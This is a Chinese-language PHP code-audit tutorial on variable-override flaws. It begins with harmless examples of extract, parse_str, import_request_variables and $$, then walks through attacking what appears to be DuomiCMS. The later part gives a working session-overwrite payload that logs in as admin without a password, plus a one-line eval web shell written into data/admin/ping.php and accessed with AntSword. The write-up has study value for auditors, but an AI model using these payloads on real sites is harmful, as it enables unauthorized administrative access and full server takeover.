tips
什么是变量覆盖?
就是用新的值去覆盖原来的值,举个栗子
$a=123; $a=234; //第二个变量a的值覆盖了第一个a的值,所以输出结果是234 echo $a;
变量覆盖漏洞如何入手?
变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:
-
extract(数组)
-
把一个数组的键全部变为变量,举个栗子
-
$a = array('name'=>'tom'); extract($a) //从这里开始,name就是一个变量了,可以调用 $name
-
-
-
parse_str(字符串)
-
把字符串变成变量,举个栗子
-
parse_str("name=LIHUA&age=18"); //name和age都变成了变量 echo $name echo $age
-
-
import_request_variables(变量类型)
-
函数将 GET/POST/Cookie 变量导入到全局作用域中,不区分大小写,所以你可以使用 g 、 p 和 c 的任何组合,举个栗子
-
//定义一个变量a $a = 'hack'; //把用GET的方法接收的参数变成变量,此时在浏览器url中输入a=Lucy import_request_variables(g); //此时原来的a变量会被替换,输出Lucy echo $a
-
-
-
$$
-
把变量的值变成变量,常常放入foreach遍历。举个栗子
-
$a = 'lucy'; $$a => $lucy;
-
-
审计系统代码
绕过登录
-
查找相关函数:
-
extract、parse_str、import_request_variables都无
-
查询$$,因为此方法常与foreach搭配,过滤掉上面的找到一条漏洞进行分析/duomiphp/common.php
-
是一个从GET,POST,COOKIE传入的可以控制的变量,将键值对分离,键变成变量,值变成对应变量的值,RunMagicQuotes相当于addslashes($_v),过滤特殊符号。
-
接着看一下触发条件,看到第28行到34行有一个判断退出
-
将post和get方法传入的参数键值分离,键长度要大于0,键要满足正则表达式必须要有cfg_和GLOBALS,cookie必须要有键名。不满足这三个条件就会exit退出不会执行下面的了。
-
接下来全局搜索查看什么文件调用了这个common.php文件
-
foreach一般用于全局变量,用于全局判断的变量中最常用的是记录登陆状态或者用户登录情况的的,在全局搜索出来刚好有登录页面的,去登录页面查看是否有用于记录状态的全局变量。
-
登录成功后发现多了一个莫名其妙的记录,盲猜是记录登录状态的,定位函数,查看构造
-
果然是记录状态的函数,继续全文追踪三个session的变量名
-
一个一个去追太麻烦了,这里直接在登录页面去输出一下session查看当前状态。
-
也就是到这里,我们就可以通过common.php文件提交这些session,登录的时候就会跳转验证这些session就可以登录。
-
_SESSION[duomi_ckstr]=dfwb&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin&_SESSION[duomi_group_id]=1
-
但是要写入session,除了找到可以提交变量的文件,还需要一个session_start,现在需要一个文件既有common.php也要有session_start,而且函数要在包含文件之前生效.
-
common.php ——》session_start——》写入session——》include/request 'common.php'——》
-
发现有好几个都可以,这里选择/interface/gbook.php
-
也就是流程就是,访问/interface/gbook.php,session_start生效,在这个页面提交session参数,由于页面引入common.php文件,会将传入的参数覆盖掉原来的session,然后到admin登录页面去访问,系统会验证被替换的session,此时无需密码就可以登录成功。
-
登录成功。
获取webshell
-
此文件在../data/admin/ping.php文件中写入了post方法传输的参数weburl、token的值。
-
直接访问页面,写入一句话木马123456789”;eval($_REQUEST[666]);//直接提交
-
访问在../data/admin/ping.php路径,获取探针
-
用蚁剑连接,拿到webshell